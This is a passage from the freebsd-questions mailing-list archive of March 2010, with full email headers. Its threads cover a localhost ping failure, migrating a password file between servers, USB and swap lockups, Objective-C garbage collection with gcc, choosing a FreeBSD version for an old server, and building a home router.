but if swap is being frequently accessed that's a problem your usage, not freebsd in particular. If your swap is being accessed frequently in any OS you should expect a serious performance hit. If that is the case you should investigate reducing memory usage/adding more in. -- Adam Vande More From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 02:22:24 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 931E7106566B for ; Fri, 12 Mar 2010 02:22:24 +0000 (UTC) (envelope-from bonomi@mail.r-bonomi.com) Received: from mail.r-bonomi.com (ns2.r-bonomi.com [204.87.227.129]) by mx1.freebsd.org (Postfix) with ESMTP id 4D1338FC08 for ; Fri, 12 Mar 2010 02:22:23 +0000 (UTC) Received: (from bonomi@localhost) by mail.r-bonomi.com (8.14.3/rdb1) id o2C2M2gO002748; Thu, 11 Mar 2010 20:22:03 -0600 (CST) Date: Thu, 11 Mar 2010 20:22:03 -0600 (CST) From: Robert Bonomi Message-Id: <201003120222.o2C2M2gO002748@mail.r-bonomi.com> To: freebsd-questions@freebsd.org, mexas@bristol.ac.uk Cc: Subject: Re: can't ping localhost X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 02:22:24 -0000 > From owner-freebsd-questions@freebsd.org Wed Mar 10 20:24:31 2010 > Date: Thu, 11 Mar 2010 02:23:44 +0000 > From: Anton Shterenlikht > To: freebsd-questions@freebsd.org > Subject: can't ping localhost > > I misconfigured my system somehow, > so now I can't ping localhost: > > # ping localhost > PING localhost (127.0.0.1): 56 data bytes > ping: sendto: No route to host > ping: sendto: No route to host > ^C > > # cat /etc/hosts > # $FreeBSD: head/etc/hosts 109997 2003-01-28 21:29:23Z dbaker $ > # > ::1 localhost localhost.men.bris.ac.uk > 127.0.0.1 localhost localhost.men.bris.ac.uk > > So far, can't find anything relevant > on the net. > > Please advise what does 'ifconfig -a', and 'netstat -nr' show? From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 02:59:34 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 4DB711065677 for ; Fri, 12 Mar 2010 02:59:34 +0000 (UTC) (envelope-from modulok@gmail.com) Received: from mail-pw0-f54.google.com (mail-pw0-f54.google.com [209.85.160.54]) by mx1.freebsd.org (Postfix) with ESMTP id 16F388FC26 for ; Fri, 12 Mar 2010 02:59:33 +0000 (UTC) Received: by pwj4 with SMTP id 4so445195pwj.13 for ; Thu, 11 Mar 2010 18:59:33 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=9xv12QqBvLcLP9/X2ZJQFWCsJkm9HBuSyOyKbxBl1i0=; b=ir7dLv1QHv4aVZU92Yokn33N8RRB9CgpQa/MK296m3J3jDGo+oSpnNgXRqqyh0vSu0 j4VKVoQATymnJEg+3MtOrF+l6HMvhyTzzjaa+gtnxGA1HcpBKuDzrUC2J9LmVZcQWtkw 4XIzJ+kb5ondvjpNr3UT4FuqrViOz/27lz74I= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=x/PiR1sinGCds2l3hb+syjq4vgT20Bieck8Rr+c5514O9m7ou30OfZ7OQ1EW8xg0bY SX/NvCB41TKyLTgHMSFEb1Cshn+CU1herkIVEKV6ORohmI6UfjBPCeKyIRBo3swkPYlh m32ClOfq8HwQAUQwcO5alo8oEUtTRlszPNFg8= MIME-Version: 1.0 Received: by 10.142.118.26 with SMTP id q26mr1990589wfc.127.1268362773533; Thu, 11 Mar 2010 18:59:33 -0800 (PST) In-Reply-To: <4B98A4CB.6090507@infracaninophile.co.uk> References: <64c038661003101809s7467432buce6a548b3b0d5cf2@mail.gmail.com> <20100311054110.GA11675@dan.emsphone.com> <4B98A4CB.6090507@infracaninophile.co.uk> Date: Thu, 11 Mar 2010 19:59:33 -0700 Message-ID: <64c038661003111859i3e038e4eq7bb265289da02a0f@mail.gmail.com> From: Modulok To: Matthew Seaman Content-Type: text/plain; charset=ISO-8859-1 Cc: Dan Nelson , freebsd-questions@freebsd.org Subject: Re: Moving master.passwd file between servers... is this correct? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 02:59:34 -0000 Thanks guys, it worked! -Modulok- On 3/11/10, Matthew Seaman wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On 11/03/2010 05:41:10, Dan Nelson wrote: >> In the last episode (Mar 10), Modulok said: >>> I need to migrate a passwd file from an old 6.2 server to a newer 8.0 >>> server (different box). This is what I did: >>> >>> copied the '/etc/master.passwd' from old server to '/etc/master.passwd' >>> on new server then ran: >>> >>> pwd_mkdb /etc/master.passwd && pwd_mkdb -p /etc/master.passwd >>> >>> It seems to work, but is this correct? I'd hate to miss somethign before >>> it goes online. >> >> Yep, that should work. Don't forget to update /etc/groups too. >> > > And try running 'mergemaster -p' which should let you merge in any new > system accounts (ignore all the other bits it looks at). > > Cheers, > > Matthew > > - -- > Dr Matthew J Seaman MA, D.Phil. 7 Priory Courtyard > Flat 3 > PGP: http://www.infracaninophile.co.uk/pgpkey Ramsgate > Kent, CT11 9PW > -----BEGIN PGP SIGNATURE----- > Version: GnuPG/MacGPG2 v2.0.14 (Darwin) > Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ > > iEYEARECAAYFAkuYpMsACgkQ8Mjk52CukIxacgCfTxB2WO7JXMu4XQs/M9kcYvWu > QwIAn0DX0eFW8IrP5N5vOlZR51Eg68FF > =2qaS > -----END PGP SIGNATURE----- > From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 03:10:05 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id CF2361065674 for ; Fri, 12 Mar 2010 03:10:05 +0000 (UTC) (envelope-from noc@hdk5.net) Received: from guam10.hdk5.net (guam10.hdk5.net [66.180.132.235]) by mx1.freebsd.org (Postfix) with ESMTP id A00238FC20 for ; Fri, 12 Mar 2010 03:10:05 +0000 (UTC) Received: from mohawk7.intra.net (unknown [66.180.149.18]) by guam10.hdk5.net (Postfix) with ESMTP id 7378D1CDAA; Thu, 11 Mar 2010 17:10:04 -1000 (HST) Message-ID: <4B99B08B.8070105@hdk5.net> Date: Thu, 11 Mar 2010 17:10:03 -1000 From: Al Plant User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20071128 FreeBSD/i386 SeaMonkey/1.1.7 MIME-Version: 1.0 To: David Jackson References: <4B952B38.70308@gmail.com> <4B997730.8070009@gmail.com> In-Reply-To: <4B997730.8070009@gmail.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: Severe instabilities and system lockups X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 03:10:05 -0000 David Jackson wrote: > David Jackson wrote: >> I am still having severe problems with severe system instabilities >> with FreeBSD and have had these problrms in 7.1 and 8.0. The system >> randomly locks up, it appears applications lock up when they access >> the USb disk. Also, when accessing the USB disk, the entire system >> lockup often for minutes. Performance with accessing USB disks is >> horrendous,. it took 7 hours to copy a directory that was 200 MB. Any >> program that accesses the USB disk tend to freeze for minutes, and >> often the entire system becomes unresponsive for minutes. Overall >> FreeBSD here is characterized by severe instabilities, ive had better >> performance from Windows 98 systems. The fact that the entire system >> freezes up, this should not happen, a well designed system will not >> lock up the entire OS when accessing disk. >> >> Are there any diagnostic tools uch as getting a log of tranmissions on >> USB and probe it, ,or finmd out what code it is lockilng up on ?Has >> anyone else seen these problems with USB disks? > Thank you for the reply to my concerns. I have been reading through them > carefully. > > I seem to have also discovered that the lockup problems are not entirely > due to USB issues. Many of them were being caused by an apparent problem > with the swap system. I have two swaps, a file backed swap and a > partition swap on the same disk. Apparently when having two swaps on the > disk there are severe performance problems. FreeBSD needs to fix > whatever is causing this thrashing problem. So far the lockups have seem > to become much less severe since i have disabled the file based swap > file. I may disable the partition swap but i do not know if it is > possible to have the system boot with a file based swap only. Perhaps i > can disable the partition swap after it boots. > > I am trying to copy a directory on the USB drive however and it does > seem to be rather slow still. It started at 5:45 and is still going. I > will see how long it takes. > > > Again thanks for the help with these issues > _______________________________________________ > > I dont think its a good idea to have two swaps on any HD. If you used the default setup under sysinstall for FreeBSD it gives how the setup should look. Is the USB a current 2.0? I cant ever recall having the problems you are describing on a FreeBSD box ever. Maybe you have funky hardware configuration. ~Al Plant - Honolulu, Hawaii - Phone: 808-284-2740 + http://hawaiidakine.com + http://freebsdinfo.org + + http://aloha50.net - Supporting - FreeBSD 7.2 - 8.0 - 9* + < email: noc@hdk5.net > "All that's really worth doing is what we do for others."- Lewis Carrol From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 04:15:57 2010 Return-Path: Delivered-To: questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D7A3B106564A for ; Fri, 12 Mar 2010 04:15:57 +0000 (UTC) (envelope-from nlandys@gmail.com) Received: from mail-pv0-f182.google.com (mail-pv0-f182.google.com [74.125.83.182]) by mx1.freebsd.org (Postfix) with ESMTP id 9E2528FC15 for ; Fri, 12 Mar 2010 04:15:57 +0000 (UTC) Received: by pvg3 with SMTP id 3so344027pvg.13 for ; Thu, 11 Mar 2010 20:15:57 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=ZHRAlwZOfkfkQSZGccwZETKxnq0agtvWQ3vm4edqJlo=; b=xC3HAeXvN/9rzXLcYOs1nbN1q1ThEyC3O5BxvyxoAmI+YaC3Zm3rFakKPtOS0zs727 hS2RPQ0BTQDOrLufVQ/h9B9bS0YZ45QshnzmMDMgZzlKg6z+ZIAr6Unmcm+Af+WbSQ6q MqSU5d+Ly7DkV9KF/jgMn2B41K5uZmDwZZ2LE= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; b=WYOMyT9zgtUbex98pIYrYnBkiP5n/LUPZrEvIkTsDAKXjfyifufNkCvIo4/B8wyW5U ofLWg7qkJFDybxZDYlAv+l8O2WGOsicMbvTSZNajBtDAD6eeaTyS8poY2tI3688op4kt zKEzQc2FwzJdcGDV1CxCGABIygGTGouzm9z5E= MIME-Version: 1.0 Received: by 10.141.23.17 with SMTP id a17mr2413354rvj.157.1268367357049; Thu, 11 Mar 2010 20:15:57 -0800 (PST) In-Reply-To: <1268345410.13552.158.camel@btw.pki2.com> References: <560f92641003100100y6490cf3veb53ca0b11a90dcb@mail.gmail.com> <20100310134405.GA18632@scout.stangl.us> <560f92641003101114l289d8f7aje8d49b4e68e1fe21@mail.gmail.com> <1268345410.13552.158.camel@btw.pki2.com> Date: Thu, 11 Mar 2010 20:15:56 -0800 Message-ID: <560f92641003112015j34e4bc64q106f36cd7d408298@mail.gmail.com> From: Nerius Landys To: dg17@penx.com, questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: Subject: Re: (Update) Re: Objective-C 2.0 on FreeBSD; garbage collection, anyone? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 04:15:57 -0000 > Sorry for the delay. Medical problem. > > Here's what I know. > > 1) Under FreeBSD 8.x OBJC APPEARS NOT to use garbage collection. I > looked at the source and the GC routines aren't defined anywhere and I > stepped through the assembly language and the allocation routing call > malloc(). There is a specific conditional in the FreeBSD compiler that > cloosed malloc() or GC_malloc() depending on whether a GC variable is > defined. > > 2) Even through you can specify -fobjc-gc on a compile line using the > FreeBSD compiler, it appears there is no warning issued if GC is not > enabled. > > 3) GCC 45 in the ports directory DOES NOT include OBJC. Neither does 44. > > 4) I downloaded GCC and compiled it this way: > > ../gcc-4.4.3/configure --disable-nls --disable-rpath > --prefix=3D/usr/local/gcc44 --with-system-zlib --enable-languages=3D"c,c > ++,objc" --enable-objc-gc > > I compiled an ObjC program this way: > > /usr/local/gcc44/bin/gcc -fobjc-gc -g -O prog.m -lobjc_gc -static > -pthread > > I checked and the GC routines are in there. > > I have a Core2 Quad, 8GB of RAM, and 32 GB of swap. I ran "a" program > (below). No swap activity. =A0No swap consumption. No increase in memory > consumption. Five minutes. It hasn't crashed. > > YMMV > > > #include > #import > > int main(int argc, const char *argv[]) { > =A0while (1) { > =A0 =A0Object *obj =3D [[Object alloc] init]; > =A0 =A0u_int h =3D [obj hash]; > =A0} > =A0return 0; > } > Wow thanks, that really helps. I now understand more about how this stuff works. I'm kind of new to C programming in general, and library linking and all that sort of stuff. My gcc command is like this now: /usr/opt/gcc44/bin/gcc -o main Main.m MyObj.m -lobjc_gc -lpthread -static The "-static" is nice because my libobjc_gc.so is in a non-standard location on my system, namely /usr/opt/gcc44/lib/ , and so I don't have to specify LD_LIBRARY_PATH if I compile with "-static" (but as a result the binary is larger and takes more memory to run, by about 700 kilobytes). The "-lpthread" is necessary because pthreads are used as part of the garbage collection process. The "-lobjc_gc" is used instead of "-lobjc" to enable garbage collection. I compiled gcc 4.4.3 (downloaded directly from links on gcc.gnu.org) myself (not from ports), with ./configure --prefix=3D/usr/opt/gcc44 --enable-objc-gc -enable-languages=3D"c,c++,objc" My source code looks like this: Main.m --------------------- #import #import "MyObj.h" int main(int argc, const char *argv[]) { while (YES) { MyObj *obj =3D [[MyObj alloc] init]; [obj hash]; } return 0; } MyObj.h ---------------------- #import @interface MyObj : Object {} @end MyObj.m ---------------- #import "MyObj.h" @implementation MyObj @end I get no memory increases in my program. I have not tried to get garbage collection to work with GNUstep yet. It very well may not work, because the garbage collection is probably tied to objc_gc (for example instead of gnustep-base or gnustep-runtime or something like that). Like I said I don't know too much about C programming at this point. I do see a libgnustep-base.so in my GNUstep installation, but I don't see anything of the form *_gc.so. I'm going to write some programs just using Object, not using GNUstep at this point. I think I'll wait until I get an Apple and an iPhone before I try to use the other object classes (NSObject and friends). From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 04:43:17 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B08B8106567D for ; Fri, 12 Mar 2010 04:43:17 +0000 (UTC) (envelope-from jbiquez@icsmx.com) Received: from intranet.com.mx (intranet.com.mx [200.33.246.7]) by mx1.freebsd.org (Postfix) with ESMTP id 8C79E8FC1E for ; Fri, 12 Mar 2010 04:43:17 +0000 (UTC) Received: from PC2.icsmx.com (189.245.46.197) by icsmx.com with ESMTP (EIMS X 3.3.9) for ; Thu, 11 Mar 2010 22:29:15 -0600 X-Mailer: QUALCOMM Windows Eudora Version 7.1.0.9 Date: Thu, 11 Mar 2010 22:29:13 -0600 To: freebsd-questions@freebsd.org From: Jorge Biquez Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Message-ID: <3351212956-2078109201@intranet.com.mx> Subject: FreeBSD Version recommend for OLD machine X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 04:43:17 -0000 Hello all. I have an old machine that has been running 4.11-Stable for some years. This week something weird happened when I tried to update to latest version on 4.x. Anyway, I thought that was a good idea to update to 5.x and after doing all the process finally I can not have it running corrcetly. Not a big problem since a secondary DNS an an email server for one domain. I am still trying to recover it downloading and installing the sae version it has but in case I can not fix I would like to install a mor erecent version. The machine has a Motherboard that supports 2 double pentium III processors with 1GB of ram and a hard disk with 40GB. It won't do anything else but a dns slave for maybe 100 domains, mail and squirrel for 10 domain, not more than 100 users with very low volume. That's all. Can you give me your opinions on what would you? - To re-install the version that it used to has from zero and let it work again for some other years. - Try a new version (maybe it is more secure or faster) and if so..... which one? (in all these years even when the machine is on the Internet and LOT of people has tried to hacked it daily, in all these years we have never had a problem.) Thanks in advance for your advice. Jorge Biquez PS. By the way. I left these lists for almost a year as well as the OS (global crisis force us to look for survival jobs) anyway now that I am back I can see again that you guys in the list, the ones that develop and contribute with Freebsd are the best one in the quality of the technical messages. Keep working that way and thanks for letting us learn from you. From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 05:16:37 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 1DB3C1065686 for ; Fri, 12 Mar 2010 05:16:37 +0000 (UTC) (envelope-from steve@ibctech.ca) Received: from smtp.ibctech.ca (v6.ibctech.ca [IPv6:2607:f118::b6]) by mx1.freebsd.org (Postfix) with SMTP id B433A8FC18 for ; Fri, 12 Mar 2010 05:16:36 +0000 (UTC) Received: (qmail 84365 invoked by uid 89); 12 Mar 2010 05:15:51 -0000 Received: from unknown (HELO ?192.168.1.114?) (steve@ibctech.ca@::ffff:208.70.104.100) by ::ffff:208.70.104.210 with ESMTPA; 12 Mar 2010 05:15:51 -0000 Message-ID: <4B99CE33.6070109@ibctech.ca> Date: Fri, 12 Mar 2010 00:16:35 -0500 From: Steve Bertrand User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.7) Gecko/20100111 Lightning/1.0b1 Thunderbird/3.0.1 MIME-Version: 1.0 To: Jorge Biquez References: <3351212956-2078109201@intranet.com.mx> In-Reply-To: <3351212956-2078109201@intranet.com.mx> X-Enigmail-Version: 1.0.1 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: FreeBSD Version recommend for OLD machine X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 05:16:37 -0000 On 2010.03.11 23:29, Jorge Biquez wrote: > Hello all. > > I have an old machine that has been running 4.11-Stable for some years. > This week something weird happened when I tried to update to latest > version on 4.x. Anyway, I thought that was a good idea to update to 5.x > and after doing all the process finally I can not have it running > corrcetly. Not a big problem since a secondary DNS an an email server > for one domain. I am still trying to recover it downloading and > installing the sae version it has but in case I can not fix I would like > to install a mor erecent version. > > The machine has a Motherboard that supports 2 double pentium III > processors with 1GB of ram and a hard disk with 40GB. > > It won't do anything else but a dns slave for maybe 100 domains, mail > and squirrel for 10 domain, not more than 100 users with very low > volume. That's all. > > Can you give me your opinions on what would you? Honestly, so long as there is no GUI running, the only real difference I currently observe on machines that have the requirement to stay at this: %uname -a FreeBSD x.x.x 4.3-RELEASE FreeBSD 4.3-RELEASE #0: Sat Apr 21 10:54:49 GMT 2001 jkh@narf.osd.bsdi.com:/usr/src/sys/compile/GENERIC i386 ...and something more current is that the more recent versions require much more thought put into the original size of the root (/) partition, particularly when you are used to performing source upgrades. Earlier versions required *much* less space. The performance difference is negligible, so long as though you plan on running the same processes, and still perform proper diligence in trimming your kernel config file appropriately. With upgrading to a more recent version, you garner the benefits of security patches, code efficiencies, ability to follow current standards/practices etc. Again... so long as the system won't change its overall process objectives, go to the recent production release, but instead of assigning 256M for /, throw 2G at it to be safe. Steve From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 05:20:11 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 00C2E1065674 for ; Fri, 12 Mar 2010 05:20:11 +0000 (UTC) (envelope-from subscriber+freebsd@markshroyer.com) Received: from frodo.paleogene.net (frodo.paleogene.net [206.125.175.178]) by mx1.freebsd.org (Postfix) with ESMTP id DBD548FC12 for ; Fri, 12 Mar 2010 05:20:10 +0000 (UTC) Received: from auth-client.paleogene.net (auth-client.paleogene.net [206.125.175.178]) (Authenticated sender: hidden) by frodo.paleogene.net (Postfix) with ESMTPSA id 511E93F411 for ; Fri, 12 Mar 2010 00:20:10 -0500 (EST) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=markshroyer.com; s=default; t=1268371210; bh=b+ExzFomqpJVRQPBdtVX5mALr/iIMpHPZvf4wE77E/A=; h=Message-ID:Date:From:MIME-Version:To:Subject:References: In-Reply-To:Content-Type:Content-Transfer-Encoding; b=rXVuCXjFwSFE4clCRTLQ9+Bg6cIzZ9LP5TvIKY1SfzDqgkzdhaFD86kxcUepZ0IQ6 3FVxlg3TjsUT+cjA2Zbj9ml6wzyCxMYs3v/TfLHQqfdfdWk2BPGZUYWfXeYDJdQZbY Nsb6m39TZljG9g7itsfcvsXwGwuDCs5Gd8T1zgwM= Message-ID: <4B99CF05.7080906@markshroyer.com> Date: Fri, 12 Mar 2010 00:20:05 -0500 From: Mark Shroyer User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.8) Gecko/20100227 Thunderbird/3.0.3 MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <3351212956-2078109201@intranet.com.mx> In-Reply-To: <3351212956-2078109201@intranet.com.mx> X-Enigmail-Version: 1.0.1 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Subject: Re: FreeBSD Version recommend for OLD machine X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 05:20:11 -0000 On 3/11/2010 11:29 PM, Jorge Biquez wrote: > I have an old machine that has been running 4.11-Stable for some years. > This week something weird happened when I tried to update to latest > version on 4.x. Anyway, I thought that was a good idea to update to 5.x > and after doing all the process finally I can not have it running > corrcetly. Not a big problem since a secondary DNS an an email server > for one domain. I am still trying to recover it downloading and > installing the sae version it has but in case I can not fix I would like > to install a mor erecent version. > > The machine has a Motherboard that supports 2 double pentium III > processors with 1GB of ram and a hard disk with 40GB. > > It won't do anything else but a dns slave for maybe 100 domains, mail > and squirrel for 10 domain, not more than 100 users with very low > volume. That's all. > > Can you give me your opinions on what would you? If you're going to reinstall anyway, you might as well run the latest and greatest version. FreeBSD 8.0 will do just fine on this hardware. -- Mark Shroyer http://markshroyer.com/contact/ From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 05:28:30 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 06F98106564A for ; Fri, 12 Mar 2010 05:28:30 +0000 (UTC) (envelope-from subscriber+freebsd@markshroyer.com) Received: from frodo.paleogene.net (frodo.paleogene.net [206.125.175.178]) by mx1.freebsd.org (Postfix) with ESMTP id E18E18FC16 for ; Fri, 12 Mar 2010 05:28:29 +0000 (UTC) Received: from auth-client.paleogene.net (auth-client.paleogene.net [206.125.175.178]) (Authenticated sender: hidden) by frodo.paleogene.net (Postfix) with ESMTPSA id 215A33F411 for ; Fri, 12 Mar 2010 00:28:29 -0500 (EST) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=markshroyer.com; s=default; t=1268371709; bh=FsIb0Spl48nXsS5wtI9Xy00njA7wnpM8TVx/EJsnOoc=; h=Message-ID:Date:From:MIME-Version:To:Subject:References: In-Reply-To:Content-Type:Content-Transfer-Encoding; b=v6T5TA3yqSGoebe6NCSt3p6/KrQHwLOPEnlY2/4LGuRFTKuSZIv1OUvxHHH1wIzLA UsG175rCUmcH3u867afYFGek86aDzOZV7xqIYi4UuqGyEp1e6lNRiJ6E6SJljcMP4F okWoAtbndMzddFB+qD7dF3uol98LectMNdtLT860= Message-ID: <4B99D0F8.9080800@markshroyer.com> Date: Fri, 12 Mar 2010 00:28:24 -0500 From: Mark Shroyer User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.8) Gecko/20100227 Thunderbird/3.0.3 MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <93C575B79E9B01449EBBB084032BC570123208B760@mail.ucwv.edu> <201003110350.55226.oloringr@gmail.com> In-Reply-To: <201003110350.55226.oloringr@gmail.com> X-Enigmail-Version: 1.0.1 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Subject: Re: Replacing Home Router With PC X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 05:28:30 -0000 On 3/10/2010 8:50 PM, Ed Jobs wrote: > On Thursday 11 of March 2010 03:36, mailinglist wrote: >> The question is, can it use that wireless card to >> act as a access point instead of a client (how the card is intended to be >> used)? > you can run the hostapd daemon to configure a card as an access point. I did > this on an openbsd box, so i'm perfectly sure you can do it on a freebsd box > too. In all honesty, as much as I love FreeBSD, this is the sort of thing that OpenBSD really excels at. So the OP may wish to look at OpenBSD too, but as you say, either operating system can do the job. -- Mark Shroyer http://markshroyer.com/contact/ From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 05:38:03 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 41C30106566B for ; Fri, 12 Mar 2010 05:38:03 +0000 (UTC) (envelope-from subscriber+freebsd@markshroyer.com) Received: from frodo.paleogene.net (frodo.paleogene.net [206.125.175.178]) by mx1.freebsd.org (Postfix) with ESMTP id 284438FC16 for ; Fri, 12 Mar 2010 05:38:02 +0000 (UTC) Received: from auth-client.paleogene.net (auth-client.paleogene.net [206.125.175.178]) (Authenticated sender: hidden) by frodo.paleogene.net (Postfix) with ESMTPSA id 998963F411 for ; Fri, 12 Mar 2010 00:38:02 -0500 (EST) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=markshroyer.com; s=default; t=1268372282; bh=3c0vM2ltP46IVHH8SJ3WL0d5S65V0TIISjdQn7Yuw3U=; h=Message-ID:Date:From:MIME-Version:To:Subject:References: In-Reply-To:Content-Type:Content-Transfer-Encoding; b=TawPVgLhjbJD0DaUWvB8UaqnwjJGdEi96FWy/CNjRF0Oq0hOtDwhZ1B/9EAf+0pKM hhzCzM63KfWI8Tmx8xFx+MAaAq2g3+jggY8R+Gzk9XJmay5vU7rpxONZF/O2DFM8ll KCeVnwetjdnKzJ19HyI8HXpgoJ/6bti3UQrMrkds= Message-ID: <4B99D335.8010800@markshroyer.com> Date: Fri, 12 Mar 2010 00:37:57 -0500 From: Mark Shroyer User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.8) Gecko/20100227 Thunderbird/3.0.3 MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <93C575B79E9B01449EBBB084032BC570123208B760@mail.ucwv.edu> <44ocivszcb.fsf@be-well.ilk.org> In-Reply-To: <44ocivszcb.fsf@be-well.ilk.org> X-Enigmail-Version: 1.0.1 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Subject: Re: Replacing Home Router With PC X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 05:38:03 -0000 On 3/11/2010 9:32 AM, Lowell Gilbert wrote: > mailinglist writes: > >> I've got an old Linksys router hanging off of my cable modem that is >> several years old and is about to die (very poor wireless throughput >> should be 54 mb and is 2, runs hot, and "buzzes" while turned on). >> I've got an older PC that would great as a router....however I also >> need it to be a wireless access point for my house. It has a PCI >> wireless network card (A 54G Belkin, not sure of the exact model). I >> know FreeBSD is technically capable for acting as my DHCP, DNS, >> router, gateway box if properly configured. The question is, can it >> use that wireless card to act as a access point instead of a client >> (how the card is intended to be used)? >> >> Also, any links anyone can provide on how to setup a FreeBSD box to >> act as home router/gateway would be much appreciated! > > Bear in mind that the added electricity costs will more than cover the > cost of a new Linksys (or equivalent) router in a few months. If energy consumption is a concern, you might try one of these: http://www.pcengines.ch/alix2d3.htm I've been running OpenBSD on mine for a year or so, and it makes an absolutely fantastic home router. It'll run FreeBSD, too. Uses about 5 watts. My one caveat is that you may want to solder on an RTC battery (CR2032) holder--or just pay a little extra for the alix2d13, which includes the holder, if you don't like soldering things. -- Mark Shroyer 